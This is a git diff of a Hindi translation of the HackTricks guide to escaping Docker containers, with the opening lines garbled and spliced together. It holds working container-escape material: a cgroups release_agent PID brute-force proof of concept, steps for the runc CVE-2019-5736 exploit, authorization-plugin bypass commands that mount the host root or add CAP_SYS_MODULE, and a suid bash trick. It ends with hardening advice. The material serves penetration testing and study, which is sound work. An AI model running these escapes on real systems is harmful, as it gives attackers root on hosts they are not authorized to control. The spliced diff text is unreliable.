आवंटित खोज का उपयोग किया जा सकता है: कंटेनर +यह वास्तव में आसान हिस्सा है, Linux में प्रक्रिया आईडी संख्यात्मक होती है और क्रमिक रूप से असाइन की जाती है। `init` प्रक्रिया को प्रक्रिया आईडी `1` असाइन की जाती है और सभी बाद की प्रक्रियाओं को बढ़ती हुई आईडी दी जाती है। कंटेनर के भीतर किसी प्रक्रिया की होस्ट प्रक्रिया आईडी की पहचान करने के लिए, एक ब्रूट फोर्स क्रमिक खोज का उपयोग किया जा सकता है:Container ``` root@container:~$ echo findme > /findme root@container:~$ sleep 100 ``` -# Docker Breakout - -## Introduction - -Docker is a popular containerization platform that allows you to run applications in isolated environments called containers. However, misconfigurations or vulnerabilities in Docker can lead to privilege escalation attacks, allowing an attacker to break out of the container and gain access to the underlying host system. - -In this guide, we will explore various techniques that can be used to break out of a Docker container and escalate privileges on the host system. - -## Docker Socket - -By default, Docker communicates with the Docker daemon using a Unix socket located at `/var/run/docker.sock`. This socket file has read and write permissions for the `docker` group, allowing any user in that group to interact with the Docker daemon. - -If an attacker gains access to the Docker socket, they can execute Docker commands as the `root` user, effectively bypassing any container isolation. This can be achieved through various means, such as exploiting a vulnerable container or gaining access to the host system. - -To exploit this vulnerability, an attacker can mount the Docker socket inside a container and execute Docker commands from within the container. This allows them to run privileged containers, access host resources, and potentially gain root access on the host system. - -## Privileged Containers - -Docker allows you to run containers with elevated privileges using the `--privileged` flag. When a container is run with this flag, it has access to all devices on the host system, effectively bypassing any container isolation. - -If an attacker gains access to a privileged container, they can leverage this access to escalate privileges on the host system. They can modify host files, execute arbitrary commands, and potentially gain root access. - -To exploit this vulnerability, an attacker can either gain access to an existing privileged container or create a new privileged container themselves. Once inside the privileged container, they can execute commands with elevated privileges and potentially gain control over the host system. - -## Container Escape - -In some cases, it may be possible to escape the confines of a Docker container and gain access to the host system. This can be achieved through various means, such as exploiting kernel vulnerabilities, misconfigurations, or insecure container configurations. - -If an attacker successfully escapes a Docker container, they can execute commands on the host system with the privileges of the container. This can allow them to access sensitive files, modify system configurations, and potentially gain root access on the host system. - -To exploit this vulnerability, an attacker needs to identify and exploit a vulnerability or misconfiguration that allows them to break out of the container. This can be a complex process and often requires a deep understanding of the underlying system and its vulnerabilities. - -## Conclusion - -Privilege escalation attacks in Docker can have serious consequences, allowing an attacker to gain unauthorized access to the host system. It is important to follow security best practices when using Docker, such as restricting access to the Docker socket, avoiding the use of privileged containers, and regularly updating Docker and its dependencies to patch any vulnerabilities. - -By understanding the various techniques used in Docker breakout attacks, you can better protect your Docker environments and prevent unauthorized access to your host systems. +मेज़बान ```bash root@host:~$ COUNTER=1 root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done @@ -314,13 +278,13 @@ root@host:~$ echo ${COUNTER} root@host:~$ cat /proc/${COUNTER}/root/findme findme ``` -### सब कुछ मिलाकर रखना +### सभी को एक साथ रखते हुए -इस हमले को पूरा करने के लिए brute force तकनीक का उपयोग किया जा सकता है ताकि `/proc//root/payload.sh` पथ के लिए pid को अनुमान लगाया जा सके, प्रत्येक अवधि में अनुमानित pid पथ को cgroups `release_agent` फ़ाइल में लिखा जाए, `release_agent` को ट्रिगर किया जाए, और देखें कि क्या एक आउटपुट फ़ाइल बनाई जाती है। +इस हमले को पूरा करने के लिए brute force तकनीक का उपयोग करके `/proc//root/payload.sh` पथ के लिए pid का अनुमान लगाया जा सकता है, प्रत्येक पुनरावृत्ति में अनुमानित pid पथ को cgroups `release_agent` फ़ाइल में लिखा जाता है, `release_agent` को ट्रिगर किया जाता है, और देखा जाता है कि क्या एक आउटपुट फ़ाइल बनाई गई है। -इस तकनीक के साथ एकमात्र सावधानी यह है कि यह किसी भी तरीके से छिपा हुआ नहीं है, और pid गिनती को बहुत ऊँचा कर सकता है। क्योंकि कोई लंबे समय तक चलने वाली प्रक्रियाएं चलाई नहीं जाती हैं, इसलिए यह संभावित रूप से सुरक्षितता समस्याओं का कारण नहीं बनेगा, लेकिन इस पर मुझे न लिखें। +इस तकनीक के साथ एकमात्र सावधानी यह है कि यह किसी भी तरह से सूक्ष्म नहीं है, और pid की गिनती को बहुत अधिक बढ़ा सकता है। चूंकि कोई भी लंबे समय तक चलने वाली प्रक्रियाएं चलती नहीं रहती हैं, इसलिए इसे _चाहिए_ कोई विश्वसनीयता समस्याएं पैदा नहीं करनी चाहिए, लेकिन इस पर मेरे शब्दों को उद्धृत न करें। -नीचे दिए गए PoC में इन तकनीकों का अमल किया गया है ताकि cgroups `release_agent` की कार्यक्षमता का उपयोग करके एक अधिक सामान्य हमला प्रदान किया जा सके: +नीचे दिया गया PoC इन तकनीकों को लागू करता है ताकि Felix के मूल PoC में पहली बार प्रस्तुत की गई तुलना में एक अधिक सामान्य हमला प्रदान किया जा सके, जो कि cgroups `release_agent` कार्यक्षमता का उपयोग करके एक विशेषाधिकार प्राप्त कंटेनर से बचने के लिए है: ```bash #!/bin/sh @@ -380,7 +344,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` -एक प्रिविलेज्ड कंटेनर के भीतर PoC को निष्पादित करने से आउटपुट इसके समान होना चाहिए: +प्रिविलेज्ड कंटेनर के भीतर PoC को निष्पादित करने पर आपको इसी प्रकार का आउटपुट मिलना चाहिए: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -408,42 +372,42 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -# Runc अपशिष्ट (CVE-2019-5736) +# Runc exploit (CVE-2019-5736) -यदि आप `docker exec` को रूट के रूप में निष्पादित कर सकते हैं (संभवतः sudo के साथ), तो आप CVE-2019-5736 का दुरुपयोग करके एक कंटेनर से बाहर निकलकर विशेषाधिकारों को बढ़ाने का प्रयास कर सकते हैं (यहां दुरुपयोग [यहां](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go) है)। यह तकनीक मूल रूप से **मेज़बान** के _**/bin/sh**_ बाइनरी को **कंटेनर** से **अधिलेखित** करेगी, इसलिए कोई भी docker exec को निष्पादित करने वाला व्यक्ति प्रायोजन को ट्रिगर कर सकता है। +यदि आप root के रूप में `docker exec` को निष्पादित कर सकते हैं (संभवतः sudo के साथ), तो आप CVE-2019-5736 का दुरुपयोग करके कंटेनर से बाहर निकलकर विशेषाधिकार बढ़ाने का प्रयास कर सकते हैं (exploit [यहाँ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). यह तकनीक मूल रूप से **host** के _**/bin/sh**_ बाइनरी को **कंटेनर से** **ओवरराइट** करेगी, इसलिए कोई भी जो docker exec को निष्पादित करता है, वह पेलोड को ट्रिगर कर सकता है। -प्रायोजन को अनुरूप बदलें और `go build main.go` के साथ main.go को बनाएं। परिणामस्वरूपी बाइनरी को निष्पादन के लिए डॉकर कंटेनर में रखा जाना चाहिए।\ -निष्पादन के दौरान, जैसे ही यह `[+] Overwritten /bin/sh successfully` प्रदर्शित करता है, आपको मेज़बान मशीन से निम्नलिखित को निष्पादित करना होगा: +पेलोड को अनुसार बदलें और `go build main.go` के साथ main.go को बिल्ड करें। परिणामी बाइनरी को निष्पादन के लिए डॉकर कंटेनर में रखा जाना चाहिए।\ +निष्पादन पर, जैसे ही यह `[+] Overwritten /bin/sh successfully` दिखाता है, आपको होस्ट मशीन से निम्नलिखित निष्पादित करना होगा: `docker exec -it /bin/sh` -इससे main.go फ़ाइल में मौजूद प्रायोजन को ट्रिगर किया जाएगा। +यह main.go फाइल में मौजूद पेलोड को ट्रिगर करेगा। अधिक जानकारी के लिए: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) -# डॉकर ऑथ प्लगइन बाईपास +# Docker Auth Plugin Bypass -कुछ मौकों में, सिस्टम व्यवस्थापक डॉकर में कुछ प्लगइन स्थापित कर सकता है ताकि कम विशेषाधिकार वाले उपयोगकर्ता विशेषाधिकारों को बढ़ाने के बिना डॉकर के साथ संवाद कर सकें। +कुछ मौकों पर, सिसएडमिन विशेषाधिकार बढ़ाने के बिना निम्न विशेषाधिकार वाले उपयोगकर्ताओं को डॉकर के साथ इंटरैक्ट करने से रोकने के लिए डॉकर में कुछ प्लगइन्स इंस्टॉल कर सकते हैं। -## अनुमति नहीं है `run --privileged` +## disallowed `run --privileged` -इस मामले में सिस्टम व्यवस्थापक ने उपयोगकर्ताओं को **वॉल्यूम माउंट करने और `--privileged` फ़्लैग के साथ कंटेनर चलाने** या कंटेनर को कोई अतिरिक्त क्षमता नहीं दी है: +इस मामले में सिसएडमिन ने **उपयोगकर्ताओं को वॉल्यूम्स माउंट करने और `--privileged` फ्लैग के साथ कंटेनर्स चलाने की अनुमति नहीं दी** या कंटेनर को कोई अतिरिक्त क्षमता नहीं दी: ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` -यहां, एक उपयोगकर्ता **चल रहे कंटेनर के अंदर एक शैल बना सकता है और इसे अतिरिक्त अधिकार दे सकता है**: +हालांकि, एक उपयोगकर्ता **कंटेनर के अंदर एक शेल बना सकता है और उसे अतिरिक्त विशेषाधिकार दे सकता है**: ```bash docker run -d --security-opt "seccomp=unconfined" ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash ``` -अब, उपयोगकर्ता पहले चर्चित तकनीकों में से किसी भी तकनीक का उपयोग करके कंटेनर से बाहर निकल सकता है और होस्ट में विशेषाधिकारों को बढ़ा सकता है। +अब, उपयोगकर्ता पहले चर्चा की गई तकनीकों में से किसी का उपयोग करके कंटेनर से बाहर निकल सकता है और होस्ट के अंदर विशेषाधिकार बढ़ा सकता है। -## माउंट योग्य फ़ोल्डर +## माउंट लिखने योग्य फोल्डर -इस मामले में सिसएडमिन ने उपयोगकर्ताओं को `--privileged` फ़्लैग के साथ कंटेनर चलाने से रोक दिया या कंटेनर को किसी अतिरिक्त क्षमता का प्रदान करने से इंकार किया है, और उसने केवल `/tmp` फ़ोल्डर को माउंट करने की अनुमति दी है: +इस मामले में सिसएडमिन ने **उपयोगकर्ताओं को `--privileged` फ्लैग के साथ कंटेनर चलाने की अनुमति नहीं दी** या कंटेनर को कोई अतिरिक्त क्षमता नहीं दी, और उसने केवल `/tmp` फोल्डर माउंट करने की अनुमति दी: ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell @@ -453,17 +417,17 @@ host> /tmp/bash -p #This will give you a shell as root ``` {% hint style="info" %} -ध्यान दें कि शायद आप `/tmp` फ़ोल्डर को माउंट नहीं कर सकते हैं, लेकिन आप एक **अलग लिखने योग्य फ़ोल्डर** को माउंट कर सकते हैं। आप निम्नलिखित कमांड का उपयोग करके लिखने योग्य निर्देशिकाओं को खोज सकते हैं: `find / -writable -type d 2>/dev/null` +ध्यान दें कि शायद आप `/tmp` फोल्डर को माउंट नहीं कर सकते हैं लेकिन आप **अलग लिखने योग्य फोल्डर** को माउंट कर सकते हैं। लिखने योग्य निर्देशिकाओं को ढूँढने के लिए आप यह कमांड उपयोग कर सकते हैं: `find / -writable -type d 2>/dev/null` -**ध्यान दें कि एक लिनक्स मशीन में सभी निर्देशिकाएं suid बिट का समर्थन नहीं करेंगी!** suid बिट का समर्थन करने वाले निर्देशिकाओं की जांच करने के लिए `mount | grep -v "nosuid"` कमांड चलाएं। उदाहरण के लिए, आमतौर पर `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` और `/var/lib/lxcfs` suid बिट का समर्थन नहीं करते हैं। +**ध्यान दें कि लिनक्स मशीन की सभी निर्देशिकाएँ suid बिट का समर्थन नहीं करती हैं!** suid बिट का समर्थन करने वाली निर्देशिकाओं की जाँच करने के लिए `mount | grep -v "nosuid"` कमांड चलाएँ। उदाहरण के लिए आमतौर पर `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` और `/var/lib/lxcfs` suid बिट का समर्थन नहीं करते हैं। -ध्यान दें कि यदि आप **`/etc` या किसी अन्य फ़ोल्डर को माउंट** कर सकते हैं जिसमें **कॉन्फ़िगरेशन फ़ाइलें होती हैं**, तो आप उन्हें डॉकर कंटेनर में रूट के रूप में बदलकर उन्हें उच्चारित कर सकते हैं और विशेषाधिकारों को बढ़ा सकते हैं (शायद `/etc/shadow` को संशोधित करके) +यह भी ध्यान दें कि अगर आप **`/etc` माउंट कर सकते हैं** या कोई अन्य फोल्डर **जिसमें कॉन्फ़िगरेशन फाइलें होती हैं**, तो आप उन्हें डॉकर कंटेनर से रूट के रूप में बदल सकते हैं ताकि **होस्ट में उनका दुरुपयोग करके** विशेषाधिकार बढ़ा सकें (शायद `/etc/shadow` में बदलाव करके) {% endhint %} -## जांच नहीं की गई JSON संरचना +## Unchecked JSON Structure -संभव है कि जब सिसएडमिन ने डॉकर फ़ायरवॉल को कॉन्फ़िगर किया था, तो उन्होंने API ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) के कुछ महत्वपूर्ण पैरामीटर जैसे "**Binds**" के बारे में **भूल गए** हो सकता है।\ -निम्नलिखित उदाहरण में, इस गलत कॉन्फ़िगरेशन का दुरुपयोग करके एक कंटेनर बनाना और चलाना संभव है जो होस्ट का रूट (/) फ़ोल्डर माउंट करता है: +यह संभव है कि जब सिसएडमिन ने डॉकर फ़ायरवॉल को कॉन्फ़िगर किया था तो उसने API के किसी **महत्वपूर्ण पैरामीटर** को भूल गया हो ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) जैसे कि "**Binds**".\ +निम्नलिखित उदाहरण में इस गलत कॉन्फ़िगरेशन का दुरुपयोग करके एक कंटेनर बनाना और चलाना संभव है जो होस्ट के रूट (/) फोल्डर को माउंट करता है: ```bash docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available @@ -473,9 +437,9 @@ docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` -## जांच नहीं की गई JSON विशेषता +## अनचेक्ड JSON एट्रिब्यूट -संभव है कि जब सिस्टम व्यवस्थापक ने डॉकर फ़ायरवॉल कॉन्फ़िगर किया था, तो उन्होंने API ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) के "**HostConfig**" के अंदर "**Capabilities**" जैसी कुछ महत्वपूर्ण विशेषताओं के बारे में भूल गए हों। निम्नलिखित उदाहरण में इस गलत कॉन्फ़िगरेशन का दुरुपयोग करके हम SYS_MODULE क्षमता के साथ एक कंटेनर बना सकते हैं और चला सकते हैं: +यह संभव है कि जब सिसएडमिन ने डॉकर फायरवॉल को कॉन्फ़िगर किया तो उसने API ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) के किसी पैरामीटर के महत्वपूर्ण एट्रिब्यूट को **भूल गया** जैसे कि "**Capabilities**" जो कि "**HostConfig**" के अंदर होता है। निम्नलिखित उदाहरण में, इस मिसकॉन्फ़िगरेशन का दुरुपयोग करके **SYS_MODULE** क्षमता के साथ एक कंटेनर बनाने और चलाने की संभावना है: ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -487,7 +451,7 @@ capsh --print ``` # लिखने योग्य hostPath माउंट -(यहां से जानकारी मिली है [**यहां**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)) कंटेनर के भीतर, एक हमलावर अपने पहुंच को बढ़ाने का प्रयास कर सकता है जो क्लस्टर द्वारा बनाए गए एक लिखने योग्य hostPath वॉल्यूम के माध्यम से मेजबान ऑपरेटिंग सिस्टम के नीचे और पहुंच प्राप्त करने की कोशिश कर सकता है। नीचे कुछ आम चीजें हैं जिन्हें आप कंटेनर के भीतर जांच सकते हैं ताकि आप इस हमलावर वेक्टर का लाभ उठा सकें: +([**यहाँ**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d) से जानकारी) कंटेनर के अंदर, हमलावर अंतर्निहित होस्ट OS तक और अधिक पहुँच प्राप्त करने का प्रयास कर सकता है जो क्लस्टर द्वारा बनाई गई एक लिखने योग्य hostPath वॉल्यूम के माध्यम से होता है। नीचे कुछ सामान्य चीजें हैं जिन्हें आप कंटेनर के अंदर जांच सकते हैं ताकि आप इस हमलावर वेक्टर का लाभ उठा सकें: ```bash ### Check if You Can Write to a File-system $ echo 1 > /proc/sysrq-trigger @@ -505,7 +469,7 @@ $ debugfs /dev/sda1 ## Docker में Seccomp -यह Docker कंटेनर से बाहर निकलने का एक तकनीक नहीं है, बल्कि यह एक सुरक्षा सुविधा है जिसका Docker उपयोग करता है और आपको इसके बारे में जानना चाहिए क्योंकि यह आपको Docker से बाहर निकलने से रोक सकता है: +यह Docker कंटेनर से बाहर निकलने की तकनीक नहीं है लेकिन एक सुरक्षा सुविधा है जिसका उपयोग Docker करता है और आपको इसके बारे में पता होना चाहिए क्योंकि यह आपको Docker से बाहर निकलने से रोक सकता है: {% content-ref url="seccomp.md" %} [seccomp.md](seccomp.md) @@ -513,38 +477,64 @@ $ debugfs /dev/sda1 ## Docker में AppArmor -यह Docker कंटेनर से बाहर निकलने का एक तकनीक नहीं है, बल्कि यह एक सुरक्षा सुविधा है जिसका Docker उपयोग करता है और आपको इसके बारे में जानना चाहिए क्योंकि यह आपको Docker से बाहर निकलने से रोक सकता है: +यह Docker कंटेनर से बाहर निकलने की तकनीक नहीं है लेकिन एक सुरक्षा सुविधा है जिसका उपयोग Docker करता है और आपको इसके बारे में पता होना चाहिए क्योंकि यह आपको Docker से बाहर निकलने से रोक सकता है: {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) {% endcontent-ref %} -## प्रमाणीकरण और प्रमाणीकरण +## AuthZ & AuthN -एक प्रमाणीकरण प्लगइन वर्तमान प्रमाणीकरण संदर्भ और कमांड संदर्भ दोनों के आधार पर Docker डेमन को अनुमति देता है या इनकार करता है। वर्तमान प्रमाणीकरण संदर्भ में सभी उपयोगकर्ता विवरण और प्रमाणीकरण विधि शामिल होती है। कमांड संदर्भ में सभी प्रासंगिक अनुरोध डेटा शामिल होता है। +एक प्राधिकरण प्लगइन Docker **daemon** को **requests** को **approve** या **deny** करता है जो वर्तमान **authentication** संदर्भ और **command** संदर्भ दोनों पर आधारित होता है। **authentication** संदर्भ में सभी **user details** और **authentication** **method** शामिल होते हैं। **command context** में सभी **relevant** **request** डेटा शामिल होता है। {% content-ref url="broken-reference" %} -[Broken link](broken-reference) +[टूटी हुई लिंक](broken-reference) {% endcontent-ref %} ## gVisor -**gVisor** एक एप्लिकेशन कर्नल है, जो Go में लिखा गया है, जो लिनक्स सिस्टम सतह का एक बड़ा हिस्सा लागू करता है। इसमें एक [ओपन कंटेनर इनिशिएटिव (OCI)](https://www.opencontainers.org) रनटाइम है जिसे `runsc` कहा जाता है और यह एक **अनुपात सीमा** प्रदान करता है एप्लिकेशन और होस्ट कर्नल के बीच। `runsc` रनटाइम Docker और Kubernetes के साथ एकीकृत होता है, जिससे सैंडबॉक्स कंटेनर चलाना आसान हो जाता है। +**gVisor** एक एप्लिकेशन कर्नेल है, जो Go में लिखा गया है, जो लिनक्स सिस्टम सतह का एक बड़ा हिस्सा लागू करता है। इसमें [Open Container Initiative (OCI)](https://www.opencontainers.org) रनटाइम `runsc` शामिल है जो एप्लिकेशन और होस्ट कर्नेल के बीच एक **isolation boundary** प्रदान करता है। `runsc` रनटाइम Docker और Kubernetes के साथ एकीकृत होता है, जिससे सैंडबॉक्स्ड कंटेनर्स चलाना सरल हो जाता है। {% embed url="https://github.com/google/gvisor" %} # Kata Containers -**Kata Containers** एक ओपन सोर्स समुदाय है जो सुरक्षित कंटेनर रनटाइम बनाने के लिए काम कर रहा है, जिसमें हल्के वर्चुअल मशीन का उपयोग करके कंटेनर की तरह लगती है और कंटेनर की तुलना में **हार्डवेयर वर्चुअलाइज़ेशन** तकनीक का उपयोग करके मजबूत वर्कलोड आइसोलेशन प्रदान करती है। +**Kata Containers** एक ओपन सोर्स समुदाय है जो एक सुरक्षित कंटेनर रनटाइम बनाने के लिए काम कर रहा है जिसमें हल्के वर्चुअल मशीनें होती हैं जो कंटेनर्स की तरह महसूस और प्रदर्शन करती हैं, लेकिन हार्डवेयर वर्चुअलाइजेशन तकनीक का उपयोग करके दूसरी परत के रूप में **stronger workload isolation** प्रदान करती हैं। {% embed url="https://katacontainers.io/" %} -## सुरक्षित ढंग से कंटेनर का उपयोग करें +## कंटेनर्स को सुरक्षित रूप से उपयोग करें -डॉकर डिफ़ॉल्ट रूप से कंटेनरों को प्रतिबंधित और सीमित करता है। इन प्रतिबंधनों को ढील करना सुरक्षा समस्याओं को उत्पन्न कर सकता है, यहां तक कि `--privileged` फ़्लैग की पूरी शक्ति के बिना। प्रत्येक अतिरिक्त अनुमति के प्रभाव को स्वीकार करना महत्वपूर्ण है, और संपूर्ण अनुमतियों को संक्षेप में सीमित करें। +Docker डिफ़ॉल्ट रूप से कंटेनर्स को प्रतिबंधित और सीमित करता है। इन प्रतिबंधों को कम करने से सुरक्षा मुद्दे पैदा हो सकते हैं, भले ही `--privileged` फ्लैग की पूरी शक्ति के बिना। प्रत्येक अतिरिक्त अनुमति के प्रभाव को स्वीकार करना और कुल मिलाकर अनुमतियों को न्यूनतम आवश्यकता तक सीमित रखना महत्वपूर्ण है। -कंटेनर को सुरक्षित रखने में मदद करने के लिए: +कंटेनर्स को सुरक्षित रखने के लिए: -* `--privileged` फ़्लैग का उपयोग न करें और कंटेनर के अंदर [Docker सॉकेट माउंट](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/) न करें। डॉकर सॉकेट कंटेनर को उत्पन्न करने की अनुमति देता है, इसलिए यह एक आसान तरीका है होस्ट पर पूर्ण नियंत्रण प्राप्त करने का, उदाहरण के लिए, `--privileged` फ़्लैग के साथ एक और कंटेनर चलाकर। -* कंटेनर के अंदर रूट के रूप में न चलाएं। [अलग उपयोगकर्ता](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) या [उपयोगकर्ता नेमस्पेस](https://docs.docker.com/engine/security/userns-remap/) का उपयोग करें। कंटेनर में रूट होस्ट के समान होता है जब तक उपयोगकर्ता नेमस्पेस के साथ पुनर्मापित नहीं किया जाता है। यह केवल लाइटली प्रतिबंधित होता है, मुख्य रूप से, लिनक्स नेमस्पेस, क्षमताएँ और सीग्रुप्स द्वारा। -* [सभी क्षमताएँ छोड़ दें](https +* `--privileged` फ्लैग का उपयोग न करें या कंटेनर के अंदर [Docker socket को माउंट](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/) न करें। Docker socket कंटेनर्स को स्पॉन करने की अनुमति देता है, इसलिए यह होस्ट का पूरा नियंत्रण लेने का एक आसान तरीका है, उदाहरण के लिए, `--privileged` फ्लैग के साथ एक और कंटेनर चलाकर। +* कंटेनर के अंदर रूट के रूप में न चलाएं। [अलग यूजर](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) का उपयोग करें या [user namespaces](https://docs.docker.com/engine/security/userns-remap/) का उपयोग करें। कंटेनर में रूट होस्ट पर वही होता है जब तक कि उसे user namespaces के साथ रीमैप नहीं किया जाता। यह मुख्य रूप से लिनक्स namespaces, capabilities, और cgroups द्वारा हल्के रूप से प्रतिबंधित होता है। +* [सभी capabilities को ड्रॉप करें](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) (`--cap-drop=all`) और केवल उन्हें सक्षम करें जो आवश्यक हैं (`--cap-add=...`). कई workloads को किसी भी capabilities की आवश्यकता नहीं होती और उन्हें जोड़ने से संभावित हमले की गुंजाइश बढ़ जाती है। +* [“no-new-privileges” सुरक्षा विकल्प का उपयोग करें](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) ताकि प्रक्रियाएं अधिक विशेषाधिकार प्राप्त न कर सकें, उदाहरण के लिए suid binaries के माध्यम से। +* [कंटेनर के लिए उपलब्ध संसाधनों को सीमित करें](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)। संसाधन सीमाएं मशीन को सेवा से इनकार हमलों से बचा सकती हैं। +* [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) (या SELinux) प्रोफाइल्स को समायोजित करें ताकि कंटेनर के लिए उपलब्ध क्रियाओं और syscalls को न्यूनतम आवश्यकता तक सीमित किया जा सके। +* [आधिकारिक docker images](https://docs.docker.com/docker-hub/official_images/) का उपयोग करें या उनके आधार पर अपनी खुद की बनाएं। [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images को विरासत में न लें या उपयोग न करें। +* नियमित रूप से अपनी images को पुनः बनाएं ताकि सुरक्षा पैच लागू किए जा सकें। यह बिना कहे समझा जाता है। + +# संदर्भ + +* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) +* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) +* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) + + +
+ +AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ! + +HackTricks का समर्थन करने के अन्य तरीके: + +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें। +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा [**NFTs**](https://opensea.io/collection/the-peass-family) का विशेष संग्रह। +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **follow** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **HackTricks** के लिए PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें। [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/linux-unix/privilege-escalation/escaping-from-a-docker-container.md b/linux-unix/privilege-escalation/escaping-from-a-docker-container.md index 5c6467c71..55780757c 100644 --- a/linux-unix/privilege-escalation/escaping-from-a-docker-container.md +++ b/linux-unix/privilege-escalation/escaping-from-a-docker-container.md @@ -1,23 +1,21 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ! -- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +HackTricks का समर्थन करने के अन्य तरीके: -- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family) - -- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।** +* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! +* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह +* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके 